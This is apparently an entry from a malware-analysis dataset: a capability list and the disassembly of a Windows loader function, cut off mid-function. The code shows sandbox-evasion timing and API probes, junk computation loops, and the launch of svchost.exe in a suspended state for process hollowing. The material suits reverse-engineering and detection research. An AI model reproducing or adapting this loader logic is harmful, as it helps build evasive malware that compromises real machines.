Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Link many functions at runtime
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x1bf8
call fcn.140008600
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x1b60], xmm6
mov dword [rbp + 0x1ba0], ecx
mov qword [rbp + 0x1ba8], rdx
call dbg.__main
mov qword [rbp + 0x1898], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1890], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1890]
mov r9d, 0x3000
mov r8d, 0x435
mov edx, 0
call rax
mov qword [rbp + 0x1898], rax
cmp qword [rbp + 0x1898], 0
je 0x14000757f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1888], rax
mov rax, qword [rbp + 0x1888]
mov ecx, 0
call rax
mov dword [rbp + 0x1884], eax
cmp dword [rbp + 0x1884], 0xffffffff
je 0x14000757f
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1878], rax
cmp qword [rbp + 0x1878], 0
jne 0x14000757f
mov dword [rbp + 0x1874], 0x3b1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1868], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1860], rax
mov rax, qword [rbp + 0x1860]
call rax
mov dword [rbp + 0x185c], eax
mov eax, dword [rbp + 0x1874]
mov r8, qword [rbp + 0x1868]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1860]
call rax
mov dword [rbp + 0x1858], eax
mov eax, dword [rbp + 0x1858]
sub eax, dword [rbp + 0x185c]
cmp eax, 0x37f
jbe 0x14000757f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1850], rax
mov rax, qword [rbp + 0x1850]
mov ecx, 0
call rax
mov dword [rbp + 0x184c], eax
cmp dword [rbp + 0x184c], 0xffffffff
je 0x14000757f
mov qword [rbp + 0x1840], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1838], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1838]
mov r9d, 0x3000
mov r8d, 0x358
mov edx, 0
call rax
mov qword [rbp + 0x1840], rax
cmp qword [rbp + 0x1840], 0
je 0x14000757f
mov qword [rbp + 0x1830], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1828], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1828]
mov r9d, 0x3000
mov r8d, 0x411
mov edx, 0
call rax
mov qword [rbp + 0x1830], rax
cmp qword [rbp + 0x1830], 0
je 0x14000757f
mov dword [rbp + 0x1824], 0x228
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1818], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1810], rax
mov rax, qword [rbp + 0x1810]
call rax
mov dword [rbp + 0x180c], eax
mov eax, dword [rbp + 0x1824]
mov r8, qword [rbp + 0x1818]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1810]
call rax
mov dword [rbp + 0x1808], eax
mov eax, dword [rbp + 0x1808]
sub eax, dword [rbp + 0x180c]
cmp eax, 0x1f6
jbe 0x14000757f
mov qword [rbp + 0x1b58], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1800], rax
cmp qword [rbp + 0x1800], 0
je 0x1400019bd
mov rax, qword [rbp + 0x1800]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x17f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x17f8]
mov r9d, 0x3000
mov r8d, 0x397
mov edx, 0
call rax
mov qword [rbp + 0x1b58], rax
cmp qword [rbp + 0x1b58], 0
je 0x14000757f
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x17f0], rax
cmp qword [rbp + 0x17f0], 0
je 0x14000757f
mov rax, qword [rbp + 0x17f0]
mov edx, 0x4bc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x17ec], eax
mov ecx, 0x11f80
call sym.malloc
mov qword [rbp + 0x17e0], rax
mov ecx, 0x11f80
call sym.malloc
mov qword [rbp + 0x17d8], rax
mov dword [rbp + 0x1b54], 0
jmp 0x140001ad8
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x1b54]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x17e0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x1b54], 1
cmp dword [rbp + 0x1b54], 0x23ef
jle 0x140001a4e
mov dword [rbp + 0x1b54], 0
jmp 0x140001b46
mov eax, dword [rbp + 0x1b54]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x17e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1b54]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x17d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1b54], 1
cmp dword [rbp + 0x1b54], 0x23ef
jle 0x140001af4
mov dword [rbp + 0x17d4], 0
mov ecx, 0x68330
call sym.malloc
mov qword [rbp + 0x17c8], rax
mov ecx, 0x68330
call sym.malloc
mov qword [rbp + 0x17c0], rax
mov ecx, 0x68330
call sym.malloc
mov qword [rbp + 0x17b8], rax
mov dword [rbp + 0x1b50], 0
jmp 0x140001dc0
mov dword [rbp + 0x1b4c], 0
jmp 0x140001da9
mov dword [rbp + 0x136c], 1
mov ecx, 0x46c
call sym.malloc
mov qword [rbp + 0x1360], rax
mov qword [rbp + 0x1b40], 2
jmp 0x140001bfc
mov rax, qword [rbp + 0x1b40]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1360]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x1b40], 1
cmp qword [rbp + 0x1b40], 0x11a
jbe 0x140001bd5
mov qword [rbp + 0x1b40], 2
jmp 0x140001c93
mov rax, qword [rbp + 0x1b40]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1360]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001c8b
mov rax, qword [rbp + 0x1b40]
mov qword [rbp + 0x1b38], rax
jmp 0x140001c74
mov rax, qword [rbp + 0x1b40]
imul rax, qword [rbp + 0x1b38]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1360]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x1b38], 1
mov rax, qword [rbp + 0x1b40]
imul rax, qword [rbp + 0x1b38]
cmp rax, 0x11a
jbe 0x140001c45
add qword [rbp + 0x1b40], 1
cmp qword [rbp + 0x1b40], 0x11a
jbe 0x140001c16
mov rax, qword [rbp + 0x1360]
mov rcx, rax
call sym.free
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1b50]
cdqe
imul rcx, rax, 0x44c
mov rax, qword [rbp + 0x17c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1b4c]
cdqe
movss dword [rcx + rax*4], xmm0
mov qword [rbp + 0x1b28], 0
mov dword [rbp + 0x135c], 0x117
mov dword [rbp + 0x1b34], 1
jmp 0x140001d3f
mov eax, dword [rbp + 0x1b34]
cdqe
add qword [rbp + 0x1b28], rax
add dword [rbp + 0x1b34], 1
mov eax, dword [rbp + 0x1b34]
cmp eax, dword [rbp + 0x135c]
jle 0x140001d29
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1b50]
cdqe
imul rcx, rax, 0x44c
mov rax, qword [rbp + 0x17c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1b4c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1b4c], 1
cmp dword [rbp + 0x1b4c], 0x112
jle 0x140001bad
add dword [rbp + 0x1b50], 1
cmp dword [rbp + 0x1b50], 0x183
jle 0x140001b9e
mov dword [rbp + 0x1b50], 0
jmp 0x140001f08
mov dword [rbp + 0x1b24], 0
mov dword [rbp + 0x1b20], 1
mov dword [rbp + 0x1b1c], 0
mov dword [rbp + 0x1374], 0x136
jmp 0x140001e3c
mov edx, dword [rbp + 0x1b24]
mov eax, dword [rbp + 0x1b20]
add eax, edx
mov dword [rbp + 0x1370], eax
add dword [rbp + 0x1b1c], 1
mov eax, dword [rbp + 0x1b20]
mov dword [rbp + 0x1b24], eax
mov eax, dword [rbp + 0x1370]
mov dword [rbp + 0x1b20], eax
mov eax, dword [rbp + 0x1b1c]
cmp eax, dword [rbp + 0x1374]
jl 0x140001e09
mov dword [rbp + 0x1b4c], 0
jmp 0x140001ef1
mov eax, dword [rbp + 0x1b50]
cdqe
imul rdx, rax, 0x44c
mov rax, qword [rbp + 0x17c8]
add rdx, rax
mov eax, dword [rbp + 0x1b4c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1b50]
cdqe
imul rdx, rax, 0x44c
mov rax, qword [rbp + 0x17c0]
add rdx, rax
mov eax, dword [rbp + 0x1b4c]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x1b50]
cdqe
imul rdx, rax, 0x44c
mov rax, qword [rbp + 0x17b8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x1b4c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1b4c], 1
cmp dword [rbp + 0x1b4c], 0x112
jle 0x140001e59
add dword [rbp + 0x1b50], 1
cmp dword [rbp + 0x1b50], 0x183
jle 0x140001ddf
mov rax, qword [rbp + 0x17c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17c0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17b8]
mov rcx, rax
call sym.free
lea rax, [rbp + 0x130]
lea rdx, [0x14000b070]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x1b18], 0x23fa
mov dword [rbp + 0x1b14], 0x186a
jmp 0x140001fba
mov eax, dword [rbp + 0x1b18]
cmp eax, dword [rbp + 0x1b14]
jle 0x140001fb3
sub dword [rbp + 0x1b18], 1
jmp 0x140001fba
sub dword [rbp + 0x1b14], 1
cmp dword [rbp + 0x1b18], 0
jg 0x140001f9c
mov ecx, 0x3c14
call sym.malloc
mov qword [rbp + 0x17b0], rax
mov dword [rbp + 0x1b0c], 0
mov dword [rbp + 0x1b08], 0
mov dword [rbp + 0x1b10], 0
jmp 0x14000209a
call sym.rand
mov edx, dword [rbp + 0x1b10]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x1b10]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x17b0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002069
add dword [rbp + 0x1b0c], 1
jmp 0x140002093
mov eax, dword [rbp + 0x1b10]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x17b0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002093
add dword [rbp + 0x1b08], 1
add dword [rbp + 0x1b10], 1
cmp dword [rbp + 0x1b10], 0xf04
jle 0x140001ff7
mov rax, qword [rbp + 0x17b0]
mov rcx, rax
call sym.free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x17a8], rax
mov dword [rbp + 0x1b04], 0x24a4
jmp 0x1400020e6
sub dword [rbp + 0x1b04], 1
cmp dword [rbp + 0x1b04], 0
jg 0x1400020df
mov dword [rbp + 0x1b00], 0xffffffff
add dword [rbp + 0x1b00], 1
call sym.rand
imul eax, eax, 0x3a6
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b270]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x17a0], rax
cmp dword [rbp + 0x1b00], 0x94f
jle 0x1400020f9
movsd xmm0, qword [0x14000b278]
movsd qword [rbp + 0x1af8], xmm0
movsd xmm0, qword [0x14000b280]
movsd qword [rbp + 0x1798], xmm0
jmp 0x140002191
movsd xmm0, qword [rbp + 0x1798]
mov rax, qword [rbp + 0x1af8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0x1af8], rax
movsd xmm0, qword [0x14000b288]
comisd xmm0, xmmword [rbp + 0x1af8]
ja 0x140002168
mov ecx, 0x4fb4
call sym.malloc
mov qword [rbp + 0x1790], rax
mov dword [rbp + 0x1af4], 0
jmp 0x14000220d
call sym.rand
mov edx, dword [rbp + 0x1af4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x1af4], 1
cmp dword [rbp + 0x1af4], 0x13ec
jle 0x1400021c0
mov dword [rbp + 0x1af4], 0
jmp 0x1400023c5
cmp dword [rbp + 0x1af4], 0
je 0x140002271
mov eax, dword [rbp + 0x1af4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1790]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x1af4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1790]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002341
add dword [rbp + 0x1af4], 1
mov dword [rbp + 0x1af0], 0xffffffff
mov ecx, 0x780
call sym.malloc
mov qword [rbp + 0x1378], rax
add dword [rbp + 0x1af0], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b270]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1af0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1378]
add rax, rdx
movsd xmm1, qword [0x14000b290]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1af0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1378]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1af0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1378]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1af0], 0xee
jle 0x140002293
jmp 0x1400023c5
mov eax, dword [rbp + 0x1af4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1790]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x1384], eax
mov eax, dword [rbp + 0x1af4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1790]
add rax, rdx
mov edx, dword [rbp + 0x1af4]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x1790]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x1af4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1790]
add rdx, rax
mov eax, dword [rbp + 0x1384]
mov dword [rdx], eax
sub dword [rbp + 0x1af4], 1
cmp dword [rbp + 0x1af4], 0x13ec
jle 0x140002228
mov rax, qword [rbp + 0x1790]
mov rcx, rax
call sym.free
mov dword [rbp + 0x133c], 0
lea rax, [rbp + 0xc0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xc0], 0x68
lea rax, [rbp + 0x1340]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1aec], 0xffffffff
mov ecx, 0x9c0
call sym.malloc
mov qword [rbp + 0x1788], rax
mov ecx, 0x9c0
call sym.malloc
mov qword [rbp + 0x1780], rax
mov ecx, 0x9c0
call sym.malloc
mov qword [rbp + 0x1778], rax
mov dword [rbp + 0x1ae8], 0
jmp 0x14000255a
mov dword [rbp + 0x1ae4], 0
jmp 0x140002546
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1ae8]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x1788]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ae4]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1ae8]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x1780]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ae4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1ae4], 1
cmp dword [rbp + 0x1ae4], 0x17
jle 0x140002487
add dword [rbp + 0x1ae8], 1
cmp dword [rbp + 0x1ae8], 0x19
jle 0x140002478
mov dword [rbp + 0x1ae8], 0
jmp 0x140002634
mov dword [rbp + 0x1ae4], 0
jmp 0x140002620
mov eax, dword [rbp + 0x1ae8]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1788]
add rdx, rax
mov eax, dword [rbp + 0x1ae4]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1ae8]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1780]
add rdx, rax
mov eax, dword [rbp + 0x1ae4]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1ae8]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1778]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x1ae4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1ae4], 1
cmp dword [rbp + 0x1ae4], 0x17
jle 0x140002585
add dword [rbp + 0x1ae8], 1
cmp dword [rbp + 0x1ae8], 0x19
jle 0x140002576
mov rax, qword [rbp + 0x1788]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1780]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1778]
mov rcx, rax
call sym.free
mov ecx, 0xc5e8
call sym.malloc
mov qword [rbp + 0x1770], rax
add dword [rbp + 0x1aec], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b270]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1aec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movsd xmm1, qword [0x14000b290]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1aec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x1aec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1770]
add rax, rdx
movq xmm1, qword [0x14000b2a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x1aec], 0x18bb
jle 0x14000267f
mov ecx, 0x47f0
call sym.malloc
mov qword [rbp + 0x1768], rax
mov ecx, 0x47f0
call sym.malloc
mov qword [rbp + 0x1760], rax
mov dword [rbp + 0x1adc], 0x11fb
mov dword [rbp + 0x1ae0], 0
jmp 0x1400027ed
call sym.rand
mov edx, dword [rbp + 0x1ae0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1768]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x1adc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1768]
add rax, rdx
mov edx, dword [rbp + 0x1ae0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1760]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x1adc], 1
add dword [rbp + 0x1ae0], 1
cmp dword [rbp + 0x1ae0], 0x11fb
jle 0x140002760
mov rax, qword [rbp + 0x1768]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1760]
mov rcx, rax
call sym.free
lea rax, [rbp + 0x1340]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.svchost.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0x9410
call sym.malloc
mov qword [rbp + 0x1758], rax
mov ecx, 0x9410
call sym.malloc
mov qword [rbp + 0x1750], rax
mov ecx, 0x9410
call sym.malloc
mov qword [rbp + 0x1748], rax
mov ecx, 0x9410
call sym.malloc
mov qword [rbp + 0x1740], rax
mov dword [rbp + 0x1ad4], 0x2503
mov dword [rbp + 0x1ad8], 0
jmp 0x140002b4c
mov dword [rbp + 0x1ad0], 0x8c
jmp 0x1400028e9
sub dword [rbp + 0x1ad0], 1
cmp dword [rbp + 0x1ad0], 0x3a
jg 0x1400028e2
call sym.rand
mov edx, dword [rbp + 0x1ad8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1758]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov dword [rbp + 0x1ac4], 0
mov ecx, 0x1050
call sym.malloc
mov qword [rbp + 0x1388], rax
mov dword [rbp + 0x1acc], 0
jmp 0x1400029e7
mov dword [rbp + 0x1ac8], 0
jmp 0x1400029d7
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff9198594b
shr rdx, 0x20
add edx, eax
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1c22
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1acc]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1388]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1ac8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1ac8], 1
cmp dword [rbp + 0x1ac8], 0x23
jle 0x14000296e
add dword [rbp + 0x1acc], 1
cmp dword [rbp + 0x1acc], 0x1c
jle 0x140002962
mov dword [rbp + 0x1acc], 0
jmp 0x140002a6e
mov dword [rbp + 0x1ac8], 0
jmp 0x140002a5e
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x1ac4]
mov eax, dword [rbp + 0x1acc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1388]
add rdx, rax
mov eax, dword [rbp + 0x1ac8]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x1ac4], eax
add dword [rbp + 0x1ac8], 1
cmp dword [rbp + 0x1ac8], 0x23
jle 0x140002a0c
add dword [rbp + 0x1acc], 1
cmp dword [rbp + 0x1acc], 0x1c
jle 0x140002a00
mov rax, qword [rbp + 0x1388]
mov rcx, rax
call sym.free
call sym.rand
mov edx, dword [rbp + 0x1ad8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1750]
lea r8, [rcx + rdx]
